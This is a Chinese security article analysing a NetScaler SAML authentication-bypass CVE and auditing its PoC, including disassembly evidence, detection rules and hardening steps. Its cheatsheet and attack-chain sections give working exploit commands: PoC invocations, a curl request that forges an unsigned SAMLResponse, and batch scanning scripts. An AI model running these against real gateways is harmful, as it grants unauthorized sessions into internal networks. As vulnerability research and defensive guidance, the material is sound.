文章总结: CVE-2026-19490是CitrixNetScalerADC/Gateway的未认证会话伪造漏洞,CVSS4.0评分9.3,根因是nsppe引擎中SAMLHTTP-Redirectbinding解析路径关闭strict校验且未签名断言门控将默认配置误判为允许。PoC工具代码干净,无恶意行为,可用于授权测试。建议受影响版本立即升级至14.1-73.32或13.1-63.21,并排查SAML配置。 综合评分: 85 文章分类: 漏洞分析,代码审计,渗透测试,红队,安全工具
CVE-2026-19490
网安之家-CyberHomestead
2026年9月3日 08:09 湖北
在小说阅读器读本章
去阅读
在公众号小说中沉浸阅读
Part’counter(counterh1CVE-2026-19490 研究报告:NetScaler ADC/Gateway SAML 认证绕过与 PoC 工具剖析
分析对象:
https://github.com/TarPeg007/CVE-2026-19490(commit 快照,2026-09) 报告性质:漏洞原理 + 源码审计 + 命令配方 + 攻防落地 使用边界:仅用于授权测试(自有实验室、明确在授权范围内的目标)。报告不构成对范围外资产的使用许可。
ounter(counterh20. TL;DR
- CVE-2026-19490 是 Citrix NetScaler ADC/Gateway 的未认证会话伪造漏洞(CVSS 4.0 9.3,CWE-288),官方公告 CTX696939 于 2026-08-19 发布,修复版本 14.1-73.32 / 13.1-63.21,无官方 workaround。
- 根因是
nsppe包引擎里两个缺陷叠加:SAML HTTP-Redirect binding 解析路径以strict=0调用解析器;未签名断言门控把配置字2(rejectUnsignedAssertion ON,默认值)误判为”允许”。默认配置的设备会完整解析 GET 上携带的未签名 SAML 断言并签发会话,全程无摘要校验、无 RSA 验签。 - 该仓库是根因复盘 + PoC:836 行单文件 Python,四个阶段(接口确认 → 绑定确认 → 链自举/利用 → 单请求取证),外加 Docker 实验室脚本、asciinema 录制/渲染工具。
- 供应链排查结论:代码干净。 无反向连接、无命令执行、无非预期数据外发;唯一的外部请求是向 Azure 公开元数据端点做 fetch-only 校验。可以安全阅读和在其声明范围内使用。
- 工具最值得学的三个设计:
--safe-oracle错误页差分无损读配置、--mint借目标自身 AuthnRequest 链路自举全部 SAML 参数、删除标记 cookie(xyz)与真实会话 cookie 的区分逻辑。
ounter(counterh21. 工具是什么:名字、出身、为何而诞生
仓库命名就是 CVE 编号本身(TarPeg007/CVE-2026-19490)。这种命名方式的语义很直接:一个 CVE 对应一个验证工具,不做通用武器平台,不夹带其他功能。作者 ID TarPeg007 没有给出官方解释,不做过度解读;从仓库形态看——0 star、1 fork、单 commit、MIT 协议、无 release——这是典型的”研究者一次性复盘发布”,不是持续维护的项目。
它为何存在:Citrix 自 2023 年 CitrixBleed 事件后改变了公告策略——安全公告只给结论(版本、CVSS、缓解),不给根因细节。CTX696939 也延续了这一风格:”认证绕过,升级即可,无 workaround”,一行原理都不提。对蓝队来说,不知道根因就没法自查配置、没法写精准检测;对红队来说,不知道根因就没法评估真实可达性。这个仓库填补的就是”公告 → 可验证的根因”这一段:作者对修复前的镜像二进制 nsppe-14.1-73.30 做了反汇编,定位到两处关键指令,配了 objdump 可复现的证据链(offset + 镜像 tag + docker cp 命令),再写了完整 PoC 和实验室复现路径。
它属于渗透测试的哪个环节:认证绕过类工具,落在 kill chain 的 Initial Access。与钓鱼、凭据爆破不同,它不偷凭据——直接伪造一个”IdP 已经认证过”的断言,让网关自己签发会话。对 NetScaler Gateway 这种设备,拿到会话等于拿到企业内网门户入口,所以它在实战里的位置是”边界即内网”的第一跳。
ounter(counterh22. CVE 背景核验(官方情报)
仓库声明与公开情报交叉验证结果:
| 项目 | 内容 | 核验 | | — | — | — | | 公告 | CTX696939,2026-08-19 | 与 Citrix 官方公告页、Rapid7 ETR 一致 | | 漏洞 | NetScaler ADC / NetScaler Gateway 认证绕过 | 与 NVD、SOC Prime 分析一致 | | CVSS 4.0 | 9.3 Critical,CWE-288 | 公告口径 | | 受影响 | 14.1 < 14.1-73.32;13.1 < 13.1-63.21 | 与 NVD 一致 | | 前置条件 | SAML action 绑定到 Gateway / AAA vserver(常规 SAML SSO 部署);14.1-43.56 / 13.1-61.28 起路由注册需要 SAML action,更早构建仅 vserver 即可 | 仓库作者对二进制的复核结论 | | 同公告 | CVE-2026-19489(SIP ALG 内存溢出,DoS) | 公告一并修复,与本工具无关 | | 原始报告署名 | Samarth Vashisht(JPMorgan Chase 渗透测试团队) | 仓库作者转述,见 Citrix 致谢惯例 |
顺带一提,同期还有一个相关的 SAML 缺陷 CVE-2026-8451(NetScaler 作为 SAML IdP 时的内存过读,CVSS 8.8),与本 CVE(NetScaler 作为 SP 的逻辑绕过)是两回事,资产梳理时不要混。
ounter(counterh23. 协议背景:理解漏洞前需要的三分钟 SAML
NetScaler Gateway 在这套部署里是 SP(服务提供方),企业 IdP(Azure AD/Entra、Okta、ADFS 等)做认证。浏览器完成登录后要把”认证结果”带回 SP,SAML 2.0 规定了两种带回方式(binding):
- POST binding(浏览器实际使用的):IdP 渲染一个自动提交的 HTML 表单,把 base64 编码的
SAMLResponse用 POST 打到 SP 的 ACS 端点(/cgi/samlauth)。XML 明文 base64,不压缩。 - HTTP-Redirect binding:把
SAMLResponse放在 GET 的 query string 里传输。因为 URL 长度有限,规范要求先 raw-DEFLATE 压缩再 base64。这个 binding 设计的本意是传AuthnRequest(SP→IdP 方向),IdP→SP 方向的响应走 GET 在真实世界极其罕见——这正是后面检测规则的立足点。
一条标准断言里,SP 要验证的值包括:Issuer(IdP 实体 ID)、Audience(SP 实体 ID)、Recipient/Destination(ACS URL)、InResponseTo(SP 发出的 AuthnRequest ID)、时间窗(NotBefore/NotOnOrAfter),以及最核心的——<ds:Signature> 签名。
工具里 deflate_and_encode() 的实现值得注意:
compressed = zlib.compress(xml_str.encode("utf-8"))[2:-4]
zlib.compress 输出 = 2 字节 zlib 头 + deflate 数据 + 4 字节 Adler-32 尾。切片 [2:-4] 剥掉头尾,得到 raw DEFLATE,与 Redirect binding 规范一致。这是很多自己写 SAML payload 的人踩过的坑(直接 zlib.compress 会让 NetScaler 解压失败,报成 Malformed)。
ounter(counterh24. 漏洞原理逐层剖析
4.1 缺陷一:Redirect binding 解析路径关闭了 strict
nsppe 是 NetScaler 在 FreeBSD 上的用户态包引擎(NetScaler 架构的特点:数据面不进 BSD 内核网络栈,由 PE 进程直接处理)。SAML 响应解析函数(sub_b40a50)的所有调用点都会准备一个 strict 参数,POST binding 路径传 1,Redirect binding 路径传 0:
$ objdump -d -M intel --start-address=0xb7f532 --stop-address=0xb7f558 nsppe-14.1-73.30
b7f532: 41 b8 00 00 00 00 mov r8d,0x0 <-- strict OFF
b7f538: 48 8d 8d d8 fe ff ff lea rcx,[rbp-0x128]
b7f53f: 48 8b 95 b8 fe ff ff mov rdx,[rbp-0x148]
b7f546: 8b b5 cc fe ff ff mov esi,[rbp-0x134]
b7f54c: 48 8b 3d f5 9f 6f 02 mov rdi,[rip+0x26f9ff5]
b7f553: e8 f8 14 fc ff call b40a50 <-- 解析器
同一个请求面(ACS 端点),换一条绑定就换一套更弱的解析参数。这是 CWE-288(通过备用路径的认证绕过)的标准形态:不是把正门撬开,而是发现侧门没锁。
4.2 缺陷二:未签名门控把默认配置误读为”允许”
Redirect binding 处理函数里,当请求不带 SigAlg/Signature 时,代码读出 rejectUnsignedAssertion 的配置字做分支:
$ objdump -d -M intel --start-address=0xb7ee3b --stop-address=0xb7ee41 nsppe-14.1-73.30
b7ee3b: 83 78 08 02 cmp DWORD PTR [rax+0x8],0x2
b7ee3f: 74 5d je b7ee9e <-- 跳到 ACCEPT 路径
配置字的取值语义(作者结合 CLI 与二进制行为确认):
2=rejectUnsignedAssertion ON(出厂默认,含义是”拒绝未签名断言”)3=STRICT(更严格的签名要求)
问题就在这:cmp 2; je ACCEPT 把默认值 ON(2)直接送进了接受分支。只有设成 3(STRICT)才会走到拒绝路径——作者用 strings 找到了那条只在拒绝分支才可达的日志字符串作为佐证:
$ strings -t x nsppe-14.1-73.30 | grep 'denying as per action'
2020998 SAMLIDP: Redirect Binding: Unsigned Assertion seen, denying as per action %s
这是本漏洞最精妙也最反直觉的一点:管理员什么都没配错——保持着出厂默认”拒绝未签名断言”——但这个默认值恰好落在被误读的分支上。缺陷不是”没开防护”,而是”防护开关的语义在代码里被接反了”。
4.3 组合后的完整利用路径
在默认配置的设备上,一条 GET 请求:
GET /cgi/samlauth?SAMLResponse=<b64(raw-deflate(xml))>&RelayState=<ctx> HTTP/1.1
Host: <gateway>
- 请求命中 Redirect binding 处理函数,发现无签名参数;
- 未签名门控读配置字,默认值 2 被
je送进 ACCEPT(缺陷二); - 断言以
strict=0进入解析器(缺陷一),全程无摘要校验、无 RSA 验签; - 解析通过后走正常的后置校验:Issuer(错误码 0xe0012)、Audience(0xe0015)、ACS/Destination(0xe0018)、时间窗——注意这些校验依然在,所以攻击者必须填对目标 SAML action 的配置值(这正是
--mint存在的原因); - 全部通过后,网关用断言里攻击者任意指定的 NameID 构造 AAA 会话,302 到
/vpn/并种下NSC_AAAC/NSC_TASS会话 cookie。
成功判据(工具的实现逻辑):302 且 Location 含 /vpn/,且 cookie 里 NSC_AAAC/NSC_TASS 带真实值。NetScaler 清会话时会下发值为 xyz、过期时间 1999 年的同名删除标记 cookie——把删除标记误判成会话是这类工具最常见的误报来源,该 PoC 专门做了区分。
4.4 错误码 taxonomy(工具研判逻辑的骨架)
PoC 对 NetScaler SAML 错误页的分类,既是利用成功的调试指南,也是蓝队自查的对照表:
| 错误码 / 页面特征 | 含义 | 对研判的意义 |
| — | — | — |
| 0xe0005 Malformed Assertion | 早期门控命中(未签名+STRICT)、解析失败、断言重复标签等共用页面 | 在未签名载荷上出现 → 大概率 word==3(STRICT),非易感 |
| 0xe0007 verification failed | 签名校验路径实际运行了 | 构建/flavor 差异,需人工研判 |
| 0xe0012 issuer 校验错误 | 解析之后 才可能到达 | 在未签名载荷上出现 = 解析已放行 = word==2 易感配置实锤 |
| 0xe0015 audience 错误 | 同上,解析后 | 同上 |
| 0xe0018 ACS/Destination 错误 | 同上 | 同上 |
| matching policy not found | SAML 策略匹配失败 | 同为解析后路径,可作易感佐证 |
| 302 → /vpn/ + 真实 NSC_AAAC/NSC_TASS | 会话签发成功 | 完全利用成功 |
关键推理:0xe0012/0xe0015/0xe0018 只在解析后产生。所以”未签名的断言收到了 issuer/audience 错误”本身,就证明了目标在无验签的情况下解析了断言——这是 --safe-oracle 的全部理论基础。
4.5 操作系统调用层分析
两层视角分开看:
目标侧(nsppe,FreeBSD):这是纯应用层逻辑缺陷。SAML 的 DEFLATE 解压、XML 解析、会话构造都发生在 PE 用户态进程里,不涉及特权 syscall、不触碰内核。危害不来自内存破坏(同公告的 CVE-2026-19489 才是内存溢出类),而来自身份判定逻辑被旁路——进程以合法流程签发合法会话,日志层面表现为一次”成功”的 SAML 登录。这也解释了为什么检测困难:签名检查根本没有运行,所以不会有验签失败的告警。
工具侧(poc.py,攻击者的机器):
requests底层是socket.create_connection → connect/send/recv,HTTPS 走 OpenSSL;urllib3.disable_warnings关闭自签证书告警(NetScaler 设备普遍自签)。- 编解码全部在用户态完成:
zlib.compress/decompressobj(-15)(raw DEFLATE)、base64.b64decode(raw + "=" * (-len(raw) % 4))——补齐 base64 padding 的写法-len(raw) % 4是个值得记住的习惯写法。 tools/rec.py是独立的系统调用教学样本:用pty.openpty()创建伪终端,fcntl.ioctl(TIOCSWINSZ)设置窗口尺寸,os.setsid+preexec_fn建立会话,select.select做非阻塞读,把输出按时间戳写成 asciinema v2 格式。在无 tty 的 CI 环境录制终端演示,这 53 行是完整可抄的范式。
ounter(counterh25. 源码逐文件审计
5.1 仓库结构
CVE-2026-19490-main/
├── poc.py # 核心 PoC,836 行,零第三方依赖除 requests/urllib3
├── README.md # 根因复盘(含 objdump 证据)、用法、实验室、检测缓解
├── LICENSE # MIT, (c) 2026 TarPeg007
├── .gitignore # 忽略提取的 nsppe 二进制、实验室证书、渲染帧
├── lab/
│ ├── setup-cpx.sh # Docker 拉起 CPX 14.1-73.30 + SAML action 配置
│ └── record-demo.sh # 有许可 VPX 时的完整演示录制(含 STRICT 负对照)
├── demo/
│ ├── run-demo.sh # 无许可环境下可跑的演示(版本/配置/反汇编/接口检查)
│ └── demo.cast/gif/mp4
└── tools/
├── rec.py # pty 录制 → asciinema v2
└── render.py # cast → pyte 终端仿真 → PIL 帧 → ffmpeg mp4/gif
5.2 poc.py:架构与细节
单文件状态机,main() 里的阶段顺序即渗透节奏:
Phase 1 check_saml_endpoint GET /cgi/samlauth 裸探,404 即止
Phase 2 check_redirect_binding 极小 SAMLResponse 探 binding 是否激活(--check-only 到此为止)
Phase 2.5 mint_sp_chain 自举目标 SP 链(--safe-oracle / --mint)
Phase 3 exploit_redirect_bypass 构造未签名断言,GET 发射,按 taxonomy 归类结果
Phase 4 validate_bypass 仅一次 GET /vpn/index.html 取证,然后显式 STOP
逐个模块说值得学的细节:
build_unsigned_saml_response() — 模板化构造最小 SAML Response+Assertion,无 <ds:Signature>。两处规范级细节:
InResponseTo在未捕获到 AuthnRequest ID 时整个属性省略而不是填假值。注释写明原因:假 ID 在严格配置上会挂后置校验,而省略属性 = IdP-initiated(unsolicited)Response,是 SAML 规范允许的合法形态。对协议的理解直接决定了绕过成功率。- 时间窗:
NotBefore回拨 5 分钟、NotOnOrAfter前移 30 分钟,容纳时钟偏差。 - 默认
[email protected]的 NameID 提示了一个事实:断言里的 NameID 就是你要伪装的身份,若目标按 NameID 匹配本地用户,填真实存在的用户名(如[email protected])才能映射到有效会话。
decode_saml_request() — 三格式兼容解码:raw DEFLATE(decompressobj(-15))→ zlib 包裹 → 明文 XML。处理了现实中 SP/IdP 实现的不规范性。
infer_idp_entity_id() — IdP 实体 ID 推断启发式:
- Azure/Entra:从跳转 URL 提取 tenant GUID,拼
https://sts.windows.net/<tenant>/,并且主动请求该租户的公开 federation metadata 交叉验证entityID(fetch-only,不外发目标信息); - ADFS:按
http://<host>/adfs/services/trust模式给出候选; - Okta:诚实地说”无法从 URL 推断”,提示去查 metadata,而不是瞎猜。这种”承认不知道”的分支设计在 PoC 里少见。
mint_sp_chain() — 整个工具的灵魂。要绕过 0xe0012/0xe0015/0xe0018 三道后置校验,必须拿到目标 SAML action 的真实 Issuer/Audience/ACS/InResponseTo。作者的办法是让目标自己交代:
GET /vpn/index.html拿响应而不丢弃——SAML-first 网关会直接 302 到 IdP,Location 里就带着SAMLRequest(内含全部所需值)。注释里记录了踩坑:早期版本丢弃了这个响应,在 SAML-first 目标上全部假阴性。- 回退:nFactor 流程时
POST /nf/auth/doAuthentication.do提交哑凭据(login=cve-probe),从响应<RedirectURL>拿到 IdP 跳转; - 从 Location query、二次跳转、自动提交表单三个位置抓
SAMLRequest,三格式解码; - 正则提取 AuthnRequest 的
ID(→InResponseTo)、Issuer(SP entityID→Audience)、AssertionConsumerServiceURL(→Recipient/Destination),Destination交给 IdP 推断。
不需要任何 IdP 侧知识,把目标自身的 SP 流程当作配置泄露源,这是”自举”思想的干净实现。
safe_oracle() — 非侵入配置判定。构造”真实 Audience/InResponseTo + 故意错误的 Issuer“的未签名断言:
- word==3(STRICT):早期门控在解压/解析之前就拦截 →
0xe0005页面 → 非易感; - word==2(默认):门控不拦,断言被完整解析,挂在后置 Issuer 校验 →
0xe0012页面 → 易感配置实锤,且全程零会话签发。
两个分支都到不了”建会话”那一步,这就是 “SAFE” 的含义。设计思想与 padding oracle 同源:利用可观测的错误差分读出服务端内部状态,但把触发条件选在必然失败的位置。工具还留了一个防御性分支:如果错误的 Issuer 都能换回会话 cookie,打印 [!!!] UNEXPECTED-SESSION 要求人工介入——说明作者考虑过”比已知根因更糟”的情况。
validate_bypass() — 成功后只发一次请求到 /vpn/index.html,命中页面特征(logout/clientdetection/resources)即取证停止,输出里硬编码 STOP: Do not proceed further。PoC 与武器的分界线就在这类设计上。
main() 的工程细节 — --safe-oracle 隐含 --mint(oracle 需要真实 Audience 才能走到 Issuer 分支);--header 用 action="append" 支持重复传参(挂 X-Research 署名头是赏金项目合规习惯);--proxy 直接透传 requests(接 Burp);每阶段之间 --rate-limit 休眠,默认 0.5s;退出码语义化:SAML 未配置 exit 1,check-only 完成 exit 0,可脚本化。
5.3 lab/ 与 tools/:实验室工程
lab/setup-cpx.sh 的价值在于精确复现”受影响状态”:quay.io 官方 CPX 镜像 14.1-73.30(修复版 73.32 的前一版),openssl req -x509 本地造临时证书,docker exec cli_script.sh 下发配置——关键是 -samlRejectUnsignedAssertion ON,即被误读的默认值。一个诚实的坑位说明:CPX Express 没有 SSLVPN/AAA 用户许可,/cgi/samlauth 会撞 480 Login exceeds maximum allowed users 的许可墙——能复现构建、配置、端点、二进制状态,唯独不能复现最后的会话签发,那需要免费 Developer License 的 VPX。README 把这个限制写得清清楚楚,没有假装”一键复现”。
lab/record-demo.sh 里最有价值的是负对照(negative control):先在 ON 下跑 safe-oracle 证明易感,set samlAction -samlRejectUnsignedAssertion STRICT 后再跑证明拦截,再改回 ON——一次录制同时给出正反两面的证据,这是漏洞研究里规范的做法。
二进制证据链:镜像内 docker cp cpx19490:/var/netscaler/bins/nsppe ./nsppe-14.1-73.30 提取,再用 README 中的固定偏移 objdump 复现两处关键指令。任何人用同一镜像能逐字节复核,这是 RE 报告可复现性的标准做法。
5.4 供应链安全排查(匿名 CVE 仓库的必修课)
匿名作者 + 单 commit 的”CVE PoC”仓库是安全研究员被投毒的高发载体,下载即运行是高危行为。本次审计做了全量静态排查:
| 排查项 | 结果 |
| — | — |
| 危险 API(subprocess/os.system/eval/exec/__import__/裸 socket) | poc.py 零命中;render.py 的 subprocess 仅用于本地 ffmpeg 渲染演示视频;rec.py 的 subprocess/pty 仅用于终端录制 |
| 反弹 shell 特征(/dev/tcp、bash -i、nc -e) | 无 |
| 外部主机引用 | 仅:实验室占位域(.invalid/.example/test.local/127.0.0.1)、目标占位 vpn.target.com、Azure 公开元数据(login.microsoftonline.com/sts.windows.net,fetch-only 校验 IdP entityID,不发送任何目标数据)、Okta 实体 ID 文档地址(仅字符串) |
| 编码混淆(base64 藏 payload、拼接 exec) | 无;base64/zlib 的使用全部对应 SAML binding 编解码,功能内聚 |
| 凭据/敏感目录访问、持久化、计划任务 | 无 |
| .gitignore 内容 | 仅忽略提取的二进制、临时证书、渲染帧——符合常规 |
结论:该仓库可作为可信的阅读与实验材料。当然,审计结论只对本次克隆的快照负责;若仓库后续更新,需重新过一遍同样的排查。
ounter(counterh26. Cheatsheet:命令配方
以下命令仅在授权目标上使用。工具原生依赖:
pip install requests urllib3(README 写 requests,代码另需 urllib3,lxml 实际未用到)。
6.1 原生 --help(按 argparse 源码确定性重构,与运行输出一致)
usage: poc.py [-h] [--header HEADER] [--name-id NAME_ID] [--issuer ISSUER]
[--audience AUDIENCE] [--in-response-to IN_RESPONSE_TO] [--mint]
[--safe-oracle] [--check-only] [--timeout TIMEOUT]
[--rate-limit RATE_LIMIT] [--proxy PROXY]
target
CVE-2026-19490 NetScaler Auth Bypass PoC
positional arguments:
target Target URL (https://vpn.target.com)
options:
-h, --help show this help message and exit
--header HEADER Extra header (e.g. 'X-Research: handle'). Repeatable.
--name-id NAME_ID NameID to inject (default: [email protected])
--issuer ISSUER Custom SAML Issuer URL (if you know the target's IdP entity ID)
--audience AUDIENCE SAML Audience (SP entityID). Auto-derived with --mint.
--in-response-to IN_RESPONSE_TO
InResponseTo (AuthnRequest ID) if captured out-of-band.
--mint Mint the SP's real SAML chain first (capture the AuthnRequest
via /nf/auth/doAuthentication.do) to get the correct Audience,
InResponseTo and IdP issuer. REQUIRED for word==2 targets.
--safe-oracle NON-INTRUSIVE mode: unsigned + deliberately WRONG issuer ->
the error page reveals the rejectUnsignedAssertion config
WITHOUT any session risk. Always use this FIRST on third-party
targets. Implies --mint.
--check-only Only check if SAML redirect binding is active, don't exploit
--timeout TIMEOUT Request timeout in seconds (default: 15)
--rate-limit RATE_LIMIT
Delay between requests in seconds (default: 0.5)
--proxy PROXY HTTP proxy (e.g. http://127.0.0.1:8080 for Burp)
Authorized testing only. Lab or in-scope targets.
6.2 参数即功能模块
把每个参数当成一个可插拔模块来理解,配方就是模块的组合:
| 模块 | 参数 | 角色 |
| — | — | — |
| 基座 | target | 位置参数,自动补 https:// 前缀 |
| 侦察 | --check-only | 端点存在性 + binding 激活判定,零风险,到此即止 |
| 定性 | --safe-oracle | 错误页差分读配置字,零会话(隐含 --mint) |
| 自举 | --mint | 借目标 AuthnRequest 链自动取齐 Issuer/Audience/ACS/InResponseTo |
| 手工注入 | --issuer``--audience``--in-response-to | 已知情报时覆盖自举结果;--mint 未捕获的值也从这里补 |
| 载荷身份 | --name-id | 伪装的 NameID,建议填目标域内真实存在的账号 |
| 合规层 | --header "X-Research: <handle>" | 可重复;赏金/演练署名与白名单通道 |
| 观测层 | --proxy http://127.0.0.1:8080 | 全流量进 Burp,人工审每个请求 |
| 节流层 | --timeout N``--rate-limit F | 超时与请求间隔,稳定性和隐蔽性旋钮 |
6.3 配方库:按作战阶段排列
配方 1|存在性侦察(第一阶段,默认起手)
python3 poc.py https://vpn.authorized-target.com --check-only
判定:输出 Redirect binding: active → 继续;404 / SAML not configured → 撤。
配方 2|无损定性(第二阶段,第三方目标必用)
python3 poc.py https://vpn.authorized-target.com --safe-oracle \
2>&1 | tee "oracle_$(date +%Y%m%d_%H%M%S).log"
看 verdict:VULNERABLE-CONFIG (word==2, no session) = 易感配置实锤、零会话风险;not-vulnerable = STRICT,此路不通。tee 留档用于报告。
配方 3|完整链验证(第三阶段,需项目授权条款允许建会话)
python3 poc.py https://vpn.authorized-target.com --mint \
--name-id [email protected] \
--header "X-Research: your-team-handle" \
--proxy http://127.0.0.1:8080 --rate-limit 1
成功标志:302 → /vpn/ + 真实 NSC_AAAC/NSC_TASS。Phase 4 自动做单请求取证并停止——不要越过这个边界。
配方 4|手工注入(自举部分失败时打补丁)
python3 poc.py https://vpn.authorized-target.com --mint \
--issuer "https://sts.windows.net/<tenant-guid>/" \
--audience "https://vpn.authorized-target.com" \
--in-response-to "_<authn-request-id-from-burp>"
参数优先级:--audience/--in-response-to 显式值 > mint 捕获值;--issuer 只在 mint 未推出 IdP entityID 时生效(chain.get("idp_issuer") or args.issuer)。
配方 5|SP metadata 兜底(mint 失败的情报来源)
curl -sk "https://vpn.authorized-target.com/metadata/saml20/sp" | xmllint --format - \
| grep -E "entityID|Location|NameIDFormat"
从 SP 元数据直接读 entityID(Audience)与 ACS Location,喂给配方 4。
配方 6|动态注入:python 一行生成 SAMLResponse,curl 手工重放
需要精确控制 XML 或绕开工具流程时,把编码逻辑单独拎出来:
XML='<samlp:Response xmlns:samlp="urn:oasis:names:tc:SAML:2.0:protocol"><saml:Issuer xmlns:saml="urn:oasis:names:tc:SAML:2.0:assertion">https://idp.example.com/saml</saml:Issuer></samlp:Response>'
ENC=$(printf '%s' "$XML" | python3 -c "import sys,zlib,base64;d=zlib.compress(sys.stdin.buffer.read());print(base64.b64encode(d[2:-4]).decode())")
curl -sk -D - -o /dev/null \
"https://vpn.authorized-target.com/cgi/samlauth?SAMLResponse=${ENC}&RelayState=%2Fvpn%2Findex.html" \
| grep -iE "^(HTTP|Location|Set-Cookie)"
注意 zlib.compress(...)[2:-4] 的 raw-DEFLATE 切片必须保留,直接 zlib 全量编码会被 NetScaler 拒收。
6.4 脚本化:把工具嵌进自动化流程
配方 7|退出码驱动的三段流水线(授权清单逐台过)
利用 exit 语义(check-only 通过=0,SAML 未配置=1):
#!/usr/bin/env bash
# 仅限授权范围清单 inscope.txt,每行一个 https://host
while read -r t; do
[ -z "$t" ] && continue
tag=$(printf '%s' "$t" | md5sum | cut -c1-8)
if python3 poc.py "$t" --check-only >/dev/null 2>&1; then
verdict=$(python3 poc.py "$t" --safe-oracle 2>&1 | tee "so_${tag}.log" \
| grep -oE "Safe-oracle verdict: .*")
printf '%-45s %s\n' "$t" "${verdict:-parse-fail}"
else
printf '%-45s no-saml-endpoint\n' "$t"
fi
sleep 3 # 横向节流,别把客户的网关打成告警源
done < inscope.txt
输出可直接粘进交付报告;so_*.log 留作附件证据。
配方 8|判定结果聚合(土法 JSON 化)
工具输出是人读的,批量场景用 grep 固化成机读行:
for log in so_*.log; do
key=$(echo "$log" | sed -E 's/so_([0-9a-f]{8})\.log/\1/')
cfg=$(grep -oE '\[\*\] Config: .*' "$log" | head -1 | cut -d' ' -f3-)
echo "{\"asset\":\"$key\",\"config\":\"$cfg\"}"
done | tee summary.jsonl
配方 9|冷门但高频的配套命令语法
# 定点反汇编:只看那两行关键指令,-M intel 强制 Intel 语法
objdump -d -M intel --start-address=0xb7ee3b --stop-address=0xb7ee41 nsppe
# 带文件偏移的字符串搜索,-t x 输出十六进制偏移,便于对照反汇编地址空间
strings -t x nsppe | grep 'denying as per action'
# docker 单行取容器 IP(Git Bash/Linux 通用)
IP=$(docker inspect -f '{{.NetworkSettings.Networks.bridge.IPAddress}}' cpx19490)
# curl 只回状态码,批量存活判断
curl -sk -o /dev/null -w "%{http_code}\n" "https://$IP:10446/cgi/samlauth"
# 无 tty 环境录终端(asciinema 的最小依赖替代),CI 里出演示材料
python3 tools/rec.py demo.cast bash -c 'python3 poc.py https://lab --safe-oracle'
# base64 补位的位运算写法(源码里学的):len%4 的补齐
python3 -c "raw='abc'; print(raw + '=' * (-len(raw) % 4))"
配方 10|实验室一键复现(演习前练手)
docker run -dt --privileged --name cpx19490 -e EULA=YES \
quay.io/netscaler/netscaler-cpx:14.1-73.30
git clone https://github.com/TarPeg007/CVE-2026-19490 && cd CVE-2026-19490
bash lab/setup-cpx.sh # 配置 SAML action(默认 ON)
python3 poc.py "https://$(docker inspect -f '{{.NetworkSettings.Networks.bridge.IPAddress}}' cpx19490):10446" --safe-oracle
# 480 = 许可墙(CPX Express 无 AAA 用户许可),属预期;完整会话需 Developer License VPX
ounter(counterh27. 攻击链定位与实网落地(授权前提)
CVE-2026-19490 在攻击链里的位置和用法:
- 情报:Citrix 公告 + 资产测绘(FOFA/Quake 按
body="zdytj"这类思路换成本场景的指纹:NetScaler 设备特征 + 版本带外暴露的构建号),圈定授权范围内跑 14.1<73.32 / 13.1<63.21 的网关; - 入口:配方 1→2→3 依次推进。成功即获得任意 NameID 的 AAA 会话——若目标按 NameID 映射本地用户,填真实账号名可获得对应用户的门户权限;
- 意义:NetScaler Gateway 会话通向的是内网门户(虚拟桌面、内部 Web、跳板),这一步等于跳过全部前端防线直接进入”已认证”侧;
- 边界:本报告与本工具都止步于”会话取证”。会话拿到之后在内网的横向、维持,必须回到你的授权条款和演练指挥框架里另行评估——PoC 自己都写着 STOP,演练记录里也应如此。
结合前一轮讨论的教务/高校场景:高校是 NetScaler 的重度用户群(统一门户、VPN 运维入口),攻防演练目标清单里这类边界的优先级通常排在业务系统前面,因为它是”一点突破、全网可达”的结构性位置。
ounter(counterh28. 检测与加固建议(蓝队视角)
加固(按优先级):
- 升级 14.1-73.32+ / 13.1-63.21+,这是唯一官方修复;
- 应急缓解:
set authentication samlAction <name> -samlRejectUnsignedAssertion STRICT使配置字变成 3,命中拒绝分支,封死该向量。注意副作用:STRICT 会同时提高对自家 IdP 的签名要求(Response+Assertion 双签),改之前确认 IdP 能满足,否则正常登录会挂——这也是 Citrix 默认值停在 ON 的原因,”设成 STRICT 就完了”不是对谁都成立的答案; - 暴露面收缩:
/cgi/samlauth是否必须对公网开放,结合网关的 VPN/AAA 用途复查。
检测(网络侧):
- 协议级异常(最强信号,与工具无关):GET 请求打到
/cgi/samlauth且携带SAMLResponse。Redirect binding 的 IdP→SP 方向在真实流量里近乎不存在,浏览器全部走 POST;Suricata 思路:
alert http $EXTERNAL_NET any -> $HTTP_SERVERS any ( \
msg:"SUSP - SAMLResponse on GET to /cgi/samlauth (CVE-2026-19490 pattern)"; \
http.method; content:"GET"; http.uri; contains:"/cgi/samlauth"; \
http.uri; contains:"SAMLResponse="; sid:2026194901; rev:1;)
- 工具级指纹(可被改,仅作辅助):UA 硬编码
Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36(无版本号、无 Chrome 完整串);mint 回退路径的哑凭据login=cve-probe;safe-oracle 的特征 Issuerhttps://safe-oracle.invalid/idp;默认 NameID[email protected]。 - 主机/配置自查(无需外网):对每个 SAML action 执行
sh authentication samlAction <name>确认rejectUnsignedAssertion;用 README 的”错误页差分”思路自测——给自家 ACS 发一个未签名+错 Issuer 的请求,回Malformed Assertion= 已在拒绝路径,回 issuer 校验错误 = 解析放行,立即升级。
ounter(counterh29. 历史脉络:它属于哪个漏洞家族
NetScaler/Citrix ADC 的”边界失守”谱系:CVE-2019-19781(目录穿越 → 无认证 RCE,2020 年初的大规模利用)、CVE-2023-3519(未授权 RCE,叠加此前的两处泄露补丁源码事件)、CVE-2023-4966 CitrixBleed(会话 token 泄露,攻击者拿 token 重放绕过 MFA,直接催生了 Citrix 的公告策略收紧)。CVE-2026-19490 延续同一主题:边界设备自己把”已认证”状态交出去,只是机制从内存泄露换成了逻辑旁路。
SAML 实现缺陷谱系:签名剥离(signature stripping)与 XML 签名包装(XSW)是 SAML 绕过的两大经典家族(Onelogin 2016、Duo Labs 2018 年系统性研究、Somorovsky 等的 XML 签名解析框架分析)。本 CVE 属于签名剥离的变体,但剥离点很别致:不是”验证逻辑有洞”,而是”验证逻辑被一条备用通道整体绕开 + 配置开关语义反转”。CWE-288 的”alternate path”在这里是字面意义的。
协议层远因:Redirect binding 用 raw-DEFLATE + base64 是 2005 年 SAML 2.0 规范针对 URL 长度限制的妥协,规范层面多年有人提议废弃。这个 CVE 会存在的前提之一,就是这条通道在 NetScaler 上被完整实现并暴露为 /cgi/samlauth 的 GET 处理路径。
